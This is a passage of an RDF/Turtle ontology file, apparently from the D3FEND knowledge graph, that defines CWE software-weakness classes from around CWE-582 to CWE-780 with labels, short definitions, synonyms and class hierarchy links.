    d3f:definition "The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-583 a owl:Class ;
    rdfs:label "finalize() Method Declared Public" ;
    d3f:cwe-id "CWE-583" ;
    d3f:definition "The product violates secure coding principles for mobile code by declaring a finalize() method public." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-584 a owl:Class ;
    rdfs:label "Return Inside Finally Block" ;
    d3f:cwe-id "CWE-584" ;
    d3f:definition "The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded." ;
    rdfs:subClassOf d3f:CWE-705 .

d3f:CWE-585 a owl:Class ;
    rdfs:label "Empty Synchronized Block" ;
    d3f:cwe-id "CWE-585" ;
    d3f:definition "The product contains an empty synchronized block." ;
    rdfs:subClassOf d3f:CWE-1071 .

d3f:CWE-586 a owl:Class ;
    rdfs:label "Explicit Call to Finalize()" ;
    d3f:cwe-id "CWE-586" ;
    d3f:definition "The product makes an explicit call to the finalize() method from outside the finalizer." ;
    rdfs:subClassOf d3f:CWE-1076 .

d3f:CWE-587 a owl:Class ;
    rdfs:label "Assignment of a Fixed Address to a Pointer" ;
    d3f:cwe-id "CWE-587" ;
    d3f:definition "The product sets a pointer to a specific address other than NULL or 0." ;
    rdfs:subClassOf d3f:CWE-344,
        d3f:CWE-758 .

d3f:CWE-588 a owl:Class ;
    rdfs:label "Attempt to Access Child of a Non-structure Pointer" ;
    d3f:cwe-id "CWE-588" ;
    d3f:definition "Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption." ;
    rdfs:subClassOf d3f:CWE-704,
        d3f:CWE-758 .

d3f:CWE-589 a owl:Class ;
    rdfs:label "Call to Non-ubiquitous API" ;
    d3f:cwe-id "CWE-589" ;
    d3f:definition "The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences." ;
    rdfs:subClassOf d3f:CWE-474 .

d3f:CWE-590 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Free of Memory not on the Heap" ;
    d3f:cwe-id "CWE-590" ;
    d3f:definition "The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc()." ;
    d3f:weakness-of d3f:MemoryFreeFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:CWE-762 .

d3f:CWE-591 a owl:Class ;
    rdfs:label "Sensitive Data Storage in Improperly Locked Memory" ;
    d3f:cwe-id "CWE-591" ;
    d3f:definition "The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors." ;
    rdfs:subClassOf d3f:CWE-413 .

d3f:CWE-593 a owl:Class ;
    rdfs:label "Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created" ;
    d3f:cwe-id "CWE-593" ;
    d3f:definition "The product modifies the SSL context after connection creation has begun." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-666 .

d3f:CWE-594 a owl:Class ;
    rdfs:label "J2EE Framework: Saving Unserializable Objects to Disk" ;
    d3f:cwe-id "CWE-594" ;
    d3f:definition "When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully." ;
    rdfs:subClassOf d3f:CWE-1076,
        d3f:CWE-710 .

d3f:CWE-597 a owl:Class ;
    rdfs:label "Use of Wrong Operator in String Comparison" ;
    d3f:cwe-id "CWE-597" ;
    d3f:definition "The product uses the wrong operator when comparing a string, such as using \"==\" when the .equals() method should be used instead." ;
    rdfs:subClassOf d3f:CWE-480,
        d3f:CWE-595 .

d3f:CWE-598 a owl:Class ;
    rdfs:label "Use of GET Request Method With Sensitive Query Strings" ;
    d3f:cwe-id "CWE-598" ;
    d3f:definition "The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request." ;
    rdfs:subClassOf d3f:CWE-201 .

d3f:CWE-599 a owl:Class ;
    rdfs:label "Missing Validation of OpenSSL Certificate" ;
    d3f:cwe-id "CWE-599" ;
    d3f:definition "The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements." ;
    rdfs:subClassOf d3f:CWE-295 .

d3f:CWE-6 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Insufficient Session-ID Length" ;
    d3f:cwe-id "CWE-6" ;
    d3f:definition "The J2EE application is configured to use an insufficient session ID length." ;
    rdfs:subClassOf d3f:CWE-334 .

d3f:CWE-600 a owl:Class ;
    rdfs:label "Uncaught Exception in Servlet" ;
    d3f:cwe-id "CWE-600" ;
    d3f:definition "The Servlet does not catch all exceptions, which may reveal sensitive debugging information." ;
    d3f:synonym "Missing Catch Block" ;
    rdfs:subClassOf d3f:CWE-248 .

d3f:CWE-601 a owl:Class ;
    rdfs:label "URL Redirection to Untrusted Site ('Open Redirect')" ;
    d3f:cwe-id "CWE-601" ;
    d3f:definition "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." ;
    d3f:synonym "Cross-domain Redirect",
        "Cross-site Redirect",
        "Open Redirect",
        "Unvalidated Redirect" ;
    rdfs:subClassOf d3f:CWE-610 .

d3f:CWE-603 a owl:Class ;
    rdfs:label "Use of Client-Side Authentication" ;
    d3f:cwe-id "CWE-603" ;
    d3f:definition "A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check." ;
    rdfs:subClassOf d3f:CWE-1390,
        d3f:CWE-602 .

d3f:CWE-605 a owl:Class ;
    rdfs:label "Multiple Binds to the Same Port" ;
    d3f:cwe-id "CWE-605" ;
    d3f:definition "When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed." ;
    rdfs:subClassOf d3f:CWE-666,
        d3f:CWE-675 .

d3f:CWE-606 a owl:Class ;
    rdfs:label "Unchecked Input for Loop Condition" ;
    d3f:cwe-id "CWE-606" ;
    d3f:definition "The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping." ;
    rdfs:subClassOf d3f:CWE-1284 .

d3f:CWE-607 a owl:Class ;
    rdfs:label "Public Static Final Field References Mutable Object" ;
    d3f:cwe-id "CWE-607" ;
    d3f:definition "A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package." ;
    rdfs:subClassOf d3f:CWE-471 .

d3f:CWE-608 a owl:Class ;
    rdfs:label "Struts: Non-private Field in ActionForm Class" ;
    d3f:cwe-id "CWE-608" ;
    d3f:definition "An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-609 a owl:Class ;
    rdfs:label "Double-Checked Locking" ;
    d3f:cwe-id "CWE-609" ;
    d3f:definition "The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient." ;
    rdfs:subClassOf d3f:CWE-667 .

d3f:CWE-61 a owl:Class ;
    rdfs:label "UNIX Symbolic Link (Symlink) Following" ;
    d3f:cwe-id "CWE-61" ;
    d3f:definition "The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files." ;
    d3f:synonym "Symlink following",
        "symlink vulnerability" ;
    rdfs:subClassOf d3f:CWE-59 .

d3f:CWE-611 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Restriction of XML External Entity Reference" ;
    d3f:cwe-id "CWE-611" ;
    d3f:definition "The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output." ;
    d3f:synonym "XXE" ;
    d3f:weakness-of d3f:ExternalContentInclusionFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:ExternalContentInclusionFunction ],
        d3f:CWE-610 .

d3f:CWE-612 a owl:Class ;
    rdfs:label "Improper Authorization of Index Containing Sensitive Information" ;
    d3f:cwe-id "CWE-612" ;
    d3f:definition "The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information." ;
    rdfs:subClassOf d3f:CWE-1230 .

d3f:CWE-613 a owl:Class ;
    rdfs:label "Insufficient Session Expiration" ;
    d3f:cwe-id "CWE-613" ;
    d3f:definition "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\"" ;
    rdfs:subClassOf d3f:CWE-672 .

d3f:CWE-614 a owl:Class ;
    rdfs:label "Sensitive Cookie in HTTPS Session Without 'Secure' Attribute" ;
    d3f:cwe-id "CWE-614" ;
    d3f:definition "The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session." ;
    rdfs:subClassOf d3f:CWE-319 .

d3f:CWE-615 a owl:Class ;
    rdfs:label "Inclusion of Sensitive Information in Source Code Comments" ;
    d3f:cwe-id "CWE-615" ;
    d3f:definition "While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc." ;
    rdfs:subClassOf d3f:CWE-540 .

d3f:CWE-616 a owl:Class ;
    rdfs:label "Incomplete Identification of Uploaded File Variables (PHP)" ;
    d3f:cwe-id "CWE-616" ;
    d3f:definition "The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-617 a owl:Class ;
    rdfs:label "Reachable Assertion" ;
    d3f:cwe-id "CWE-617" ;
    d3f:definition "The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary." ;
    d3f:synonym "assertion failure" ;
    rdfs:subClassOf d3f:CWE-670 .

d3f:CWE-618 a owl:Class ;
    rdfs:label "Exposed Unsafe ActiveX Method" ;
    d3f:cwe-id "CWE-618" ;
    d3f:definition "An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain)." ;
    rdfs:subClassOf d3f:CWE-749 .

d3f:CWE-619 a owl:Class ;
    rdfs:label "Dangling Database Cursor ('Cursor Injection')" ;
    d3f:cwe-id "CWE-619" ;
    d3f:definition "If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor \"dangling.\"" ;
    rdfs:subClassOf d3f:CWE-402 .

d3f:CWE-62 a owl:Class ;
    rdfs:label "UNIX Hard Link" ;
    d3f:cwe-id "CWE-62" ;
    d3f:definition "The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files." ;
    rdfs:subClassOf d3f:CWE-59 .

d3f:CWE-620 a owl:Class ;
    rdfs:label "Unverified Password Change" ;
    d3f:cwe-id "CWE-620" ;
    d3f:definition "When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-621 a owl:Class ;
    rdfs:label "Variable Extraction Error" ;
    d3f:cwe-id "CWE-621" ;
    d3f:definition "The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables." ;
    d3f:synonym "Variable overwrite" ;
    rdfs:subClassOf d3f:CWE-914 .

d3f:CWE-622 a owl:Class ;
    rdfs:label "Improper Validation of Function Hook Arguments" ;
    d3f:cwe-id "CWE-622" ;
    d3f:definition "The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities." ;
    rdfs:subClassOf d3f:CWE-20 .

d3f:CWE-623 a owl:Class ;
    rdfs:label "Unsafe ActiveX Control Marked Safe For Scripting" ;
    d3f:cwe-id "CWE-623" ;
    d3f:definition "An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting." ;
    rdfs:subClassOf d3f:CWE-267 .

d3f:CWE-624 a owl:Class ;
    rdfs:label "Executable Regular Expression Error" ;
    d3f:cwe-id "CWE-624" ;
    d3f:definition "The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers." ;
    rdfs:subClassOf d3f:CWE-77 .

d3f:CWE-626 a owl:Class ;
    rdfs:label "Null Byte Interaction Error (Poison Null Byte)" ;
    d3f:cwe-id "CWE-626" ;
    d3f:definition "The product does not properly handle null bytes or NUL characters when passing data between different representations or components." ;
    rdfs:subClassOf d3f:CWE-147,
        d3f:CWE-436 .

d3f:CWE-627 a owl:Class ;
    rdfs:label "Dynamic Variable Evaluation" ;
    d3f:cwe-id "CWE-627" ;
    d3f:definition "In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions." ;
    d3f:synonym "Dynamic evaluation" ;
    rdfs:subClassOf d3f:CWE-914 .

d3f:CWE-637 a owl:Class ;
    rdfs:label "Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')" ;
    d3f:cwe-id "CWE-637" ;
    d3f:definition "The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used." ;
    d3f:synonym "Unnecessary Complexity" ;
    rdfs:subClassOf d3f:CWE-657 .

d3f:CWE-64 a owl:Class ;
    rdfs:label "Windows Shortcut Following (.LNK)" ;
    d3f:cwe-id "CWE-64" ;
    d3f:definition "The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files." ;
    d3f:synonym "Windows symbolic link following",
        "symlink" ;
    rdfs:subClassOf d3f:CWE-59 .

d3f:CWE-640 a owl:Class ;
    rdfs:label "Weak Password Recovery Mechanism for Forgotten Password" ;
    d3f:cwe-id "CWE-640" ;
    d3f:definition "The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak." ;
    rdfs:subClassOf d3f:CWE-1390 .

d3f:CWE-641 a owl:Class ;
    rdfs:label "Improper Restriction of Names for Files and Other Resources" ;
    d3f:cwe-id "CWE-641" ;
    d3f:definition "The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name." ;
    rdfs:subClassOf d3f:CWE-99 .

d3f:CWE-643 a owl:Class ;
    rdfs:label "Improper Neutralization of Data within XPath Expressions ('XPath Injection')" ;
    d3f:cwe-id "CWE-643" ;
    d3f:definition "The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query." ;
    rdfs:subClassOf d3f:CWE-91,
        d3f:CWE-943 .

d3f:CWE-644 a owl:Class ;
    rdfs:label "Improper Neutralization of HTTP Headers for Scripting Syntax" ;
    d3f:cwe-id "CWE-644" ;
    d3f:definition "The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash." ;
    rdfs:subClassOf d3f:CWE-116 .

d3f:CWE-645 a owl:Class ;
    rdfs:label "Overly Restrictive Account Lockout Mechanism" ;
    d3f:cwe-id "CWE-645" ;
    d3f:definition "The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out." ;
    rdfs:subClassOf d3f:CWE-287 .

d3f:CWE-646 a owl:Class ;
    rdfs:label "Reliance on File Name or Extension of Externally-Supplied File" ;
    d3f:cwe-id "CWE-646" ;
    d3f:definition "The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-647 a owl:Class ;
    rdfs:label "Use of Non-Canonical URL Paths for Authorization Decisions" ;
    d3f:cwe-id "CWE-647" ;
    d3f:definition "The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization." ;
    rdfs:subClassOf d3f:CWE-863 .

d3f:CWE-648 a owl:Class ;
    rdfs:label "Incorrect Use of Privileged APIs" ;
    d3f:cwe-id "CWE-648" ;
    d3f:definition "The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly." ;
    rdfs:subClassOf d3f:CWE-269 .

d3f:CWE-649 a owl:Class ;
    rdfs:label "Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking" ;
    d3f:cwe-id "CWE-649" ;
    d3f:definition "The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified." ;
    rdfs:subClassOf d3f:CWE-345 .

d3f:CWE-65 a owl:Class ;
    rdfs:label "Windows Hard Link" ;
    d3f:cwe-id "CWE-65" ;
    d3f:definition "The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files." ;
    rdfs:subClassOf d3f:CWE-59 .

d3f:CWE-650 a owl:Class ;
    rdfs:label "Trusting HTTP Permission Methods on the Server Side" ;
    d3f:cwe-id "CWE-650" ;
    d3f:definition "The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state." ;
    rdfs:subClassOf d3f:CWE-436 .

d3f:CWE-651 a owl:Class ;
    rdfs:label "Exposure of WSDL File Containing Sensitive Information" ;
    d3f:cwe-id "CWE-651" ;
    d3f:definition "The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return)." ;
    rdfs:subClassOf d3f:CWE-538 .

d3f:CWE-652 a owl:Class ;
    rdfs:label "Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')" ;
    d3f:cwe-id "CWE-652" ;
    d3f:definition "The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query." ;
    rdfs:subClassOf d3f:CWE-91,
        d3f:CWE-943 .

d3f:CWE-655 a owl:Class ;
    rdfs:label "Insufficient Psychological Acceptability" ;
    d3f:cwe-id "CWE-655" ;
    d3f:definition "The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose." ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-693 .

d3f:CWE-656 a owl:Class ;
    rdfs:label "Reliance on Security Through Obscurity" ;
    d3f:cwe-id "CWE-656" ;
    d3f:definition "The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism." ;
    d3f:synonym "Never Assuming your secrets are safe" ;
    rdfs:subClassOf d3f:CWE-657,
        d3f:CWE-693 .

d3f:CWE-67 a owl:Class ;
    rdfs:label "Improper Handling of Windows Device Names" ;
    d3f:cwe-id "CWE-67" ;
    d3f:definition "The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file." ;
    rdfs:subClassOf d3f:CWE-66 .

d3f:CWE-680 a owl:Class ;
    rdfs:label "Integer Overflow to Buffer Overflow" ;
    d3f:cwe-id "CWE-680" ;
    d3f:definition "The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow." ;
    rdfs:subClassOf d3f:CWE-119,
        d3f:CWE-190 .

d3f:CWE-683 a owl:Class ;
    rdfs:label "Function Call With Incorrect Order of Arguments" ;
    d3f:cwe-id "CWE-683" ;
    d3f:definition "The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-628 .

d3f:CWE-685 a owl:Class ;
    rdfs:label "Function Call With Incorrect Number of Arguments" ;
    d3f:cwe-id "CWE-685" ;
    d3f:definition "The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-628 .

d3f:CWE-686 a owl:Class ;
    rdfs:label "Function Call With Incorrect Argument Type" ;
    d3f:cwe-id "CWE-686" ;
    d3f:definition "The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-628 .

d3f:CWE-688 a owl:Class ;
    rdfs:label "Function Call With Incorrect Variable or Reference as Argument" ;
    d3f:cwe-id "CWE-688" ;
    d3f:definition "The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses." ;
    rdfs:subClassOf d3f:CWE-628 .

d3f:CWE-689 a owl:Class ;
    rdfs:label "Permission Race Condition During Resource Copy" ;
    d3f:cwe-id "CWE-689" ;
    d3f:definition "The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place." ;
    rdfs:subClassOf d3f:CWE-362 .

d3f:CWE-69 a owl:Class ;
    rdfs:label "Improper Handling of Windows ::DATA Alternate Data Stream" ;
    d3f:cwe-id "CWE-69" ;
    d3f:definition "The product does not properly prevent access to, or detect usage of, alternate data streams (ADS)." ;
    rdfs:subClassOf d3f:CWE-66 .

d3f:CWE-690 a owl:Class ;
    rdfs:label "Unchecked Return Value to NULL Pointer Dereference" ;
    d3f:cwe-id "CWE-690" ;
    d3f:definition "The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference." ;
    rdfs:subClassOf d3f:CWE-252,
        d3f:CWE-476 .

d3f:CWE-692 a owl:Class ;
    rdfs:label "Incomplete Denylist to Cross-Site Scripting" ;
    d3f:cwe-id "CWE-692" ;
    d3f:definition "The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed." ;
    rdfs:subClassOf d3f:CWE-184,
        d3f:CWE-79 .

d3f:CWE-698 a owl:Class ;
    rdfs:label "Execution After Redirect (EAR)" ;
    d3f:cwe-id "CWE-698" ;
    d3f:definition "The web application sends a redirect to another location, but instead of exiting, it executes additional code." ;
    d3f:synonym "Redirect Without Exit" ;
    rdfs:subClassOf d3f:CWE-670,
        d3f:CWE-705 .

d3f:CWE-7 a owl:Class ;
    rdfs:label "J2EE Misconfiguration: Missing Custom Error Page" ;
    d3f:cwe-id "CWE-7" ;
    d3f:definition "The default error page of a web application should not display sensitive information about the product." ;
    rdfs:subClassOf d3f:CWE-756 .

d3f:CWE-708 a owl:Class ;
    rdfs:label "Incorrect Ownership Assignment" ;
    d3f:cwe-id "CWE-708" ;
    d3f:definition "The product assigns an owner to a resource, but the owner is outside of the intended control sphere." ;
    rdfs:subClassOf d3f:CWE-282 .

d3f:CWE-72 a owl:Class ;
    rdfs:label "Improper Handling of Apple HFS+ Alternate Data Stream Path" ;
    d3f:cwe-id "CWE-72" ;
    d3f:definition "The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system." ;
    rdfs:subClassOf d3f:CWE-66 .

d3f:CWE-757 a owl:Class ;
    rdfs:label "Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')" ;
    d3f:cwe-id "CWE-757" ;
    d3f:definition "A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties." ;
    rdfs:subClassOf d3f:CWE-693 .

d3f:CWE-759 a owl:Class ;
    rdfs:label "Use of a One-Way Hash without a Salt" ;
    d3f:cwe-id "CWE-759" ;
    d3f:definition "The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input." ;
    rdfs:subClassOf d3f:CWE-916 .

d3f:CWE-76 a owl:Class ;
    rdfs:label "Improper Neutralization of Equivalent Special Elements" ;
    d3f:cwe-id "CWE-76" ;
    d3f:definition "The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements." ;
    rdfs:subClassOf d3f:CWE-75 .

d3f:CWE-760 a owl:Class ;
    rdfs:label "Use of a One-Way Hash with a Predictable Salt" ;
    d3f:cwe-id "CWE-760" ;
    d3f:definition "The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input." ;
    rdfs:subClassOf d3f:CWE-916 .

d3f:CWE-761 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Free of Pointer not at Start of Buffer" ;
    d3f:cwe-id "CWE-761" ;
    d3f:definition "The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer." ;
    d3f:weakness-of d3f:MemoryFreeFunction ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:weakness-of ;
            owl:someValuesFrom d3f:MemoryFreeFunction ],
        d3f:CWE-763 .

d3f:CWE-764 a owl:Class ;
    rdfs:label "Multiple Locks of a Critical Resource" ;
    d3f:cwe-id "CWE-764" ;
    d3f:definition "The product locks a critical resource more times than intended, leading to an unexpected state in the system." ;
    rdfs:subClassOf d3f:CWE-667,
        d3f:CWE-675 .

d3f:CWE-765 a owl:Class ;
    rdfs:label "Multiple Unlocks of a Critical Resource" ;
    d3f:cwe-id "CWE-765" ;
    d3f:definition "The product unlocks a critical resource more times than intended, leading to an unexpected state in the system." ;
    rdfs:subClassOf d3f:CWE-667,
        d3f:CWE-675 .

d3f:CWE-766 a owl:Class ;
    rdfs:label "Critical Data Element Declared Public" ;
    d3f:cwe-id "CWE-766" ;
    d3f:definition "The product declares a critical variable, field, or member to be public when intended security policy requires it to be private." ;
    rdfs:subClassOf d3f:CWE-1061,
        d3f:CWE-732 .

d3f:CWE-767 a owl:Class ;
    rdfs:label "Access to Critical Private Variable via Public Method" ;
    d3f:cwe-id "CWE-767" ;
    d3f:definition "The product defines a public method that reads or modifies a private variable." ;
    rdfs:subClassOf d3f:CWE-668 .

d3f:CWE-768 a owl:Class ;
    rdfs:label "Incorrect Short Circuit Evaluation" ;
    d3f:cwe-id "CWE-768" ;
    d3f:definition "The product contains a conditional statement with multiple logical expressions in which one of the non-leading expressions may produce side effects. This may lead to an unexpected state in the program after the execution of the conditional, because short-circuiting logic may prevent the side effects from occurring." ;
    rdfs:subClassOf d3f:CWE-691 .

d3f:CWE-773 a owl:Class ;
    rdfs:label "Missing Reference to Active File Descriptor or Handle" ;
    d3f:cwe-id "CWE-773" ;
    d3f:definition "The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed." ;
    rdfs:subClassOf d3f:CWE-771 .

d3f:CWE-774 a owl:Class ;
    rdfs:label "Allocation of File Descriptors or Handles Without Limits or Throttling" ;
    d3f:cwe-id "CWE-774" ;
    d3f:definition "The product allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor." ;
    d3f:synonym "File Descriptor Exhaustion" ;
    rdfs:subClassOf d3f:CWE-770 .

d3f:CWE-775 a owl:Class ;
    rdfs:label "Missing Release of File Descriptor or Handle after Effective Lifetime" ;
    d3f:cwe-id "CWE-775" ;
    d3f:definition "The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed." ;
    rdfs:subClassOf d3f:CWE-772 .

d3f:CWE-776 a owl:Class ;
    rdfs:label "Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')" ;
    d3f:cwe-id "CWE-776" ;
    d3f:definition "The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities." ;
    d3f:synonym "Billion Laughs Attack",
        "XEE",
        "XML Bomb" ;
    rdfs:subClassOf d3f:CWE-405,
        d3f:CWE-674 .

d3f:CWE-777 a owl:Class ;
    rdfs:label "Regular Expression without Anchors" ;
    d3f:cwe-id "CWE-777" ;
    d3f:definition "The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through." ;
    rdfs:subClassOf d3f:CWE-625 .

d3f:CWE-778 a owl:Class ;
    rdfs:label "Insufficient Logging" ;
    d3f:cwe-id "CWE-778" ;
    d3f:definition "When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it." ;
    rdfs:subClassOf d3f:CWE-223,
        d3f:CWE-693 .

d3f:CWE-779 a owl:Class ;
    rdfs:label "Logging of Excessive Data" ;
    d3f:cwe-id "CWE-779" ;
    d3f:definition "The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack." ;
    rdfs:subClassOf d3f:CWE-400 .

d3f:CWE-78 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')" ;
    d3f:cwe-id "CWE-78" ;
    d3f:definition "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." ;
    d3f:may-be-weakness-of d3f:EvalFunction,
        d3f:ProcessStartFunction,
        d3f:UserInputFunction ;
    d3f:synonym "OS Command Injection",
        "Shell injection",
        "Shell metacharacters" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:EvalFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:UserInputFunction ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-be-weakness-of ;
            owl:someValuesFrom d3f:ProcessStartFunction ],
        d3f:CWE-77 .

d3f:CWE-780 a owl:Class ;
    rdfs:label "Use of RSA Algorithm without OAEP" ;
    d3f:cwe-id "CWE-780" ;
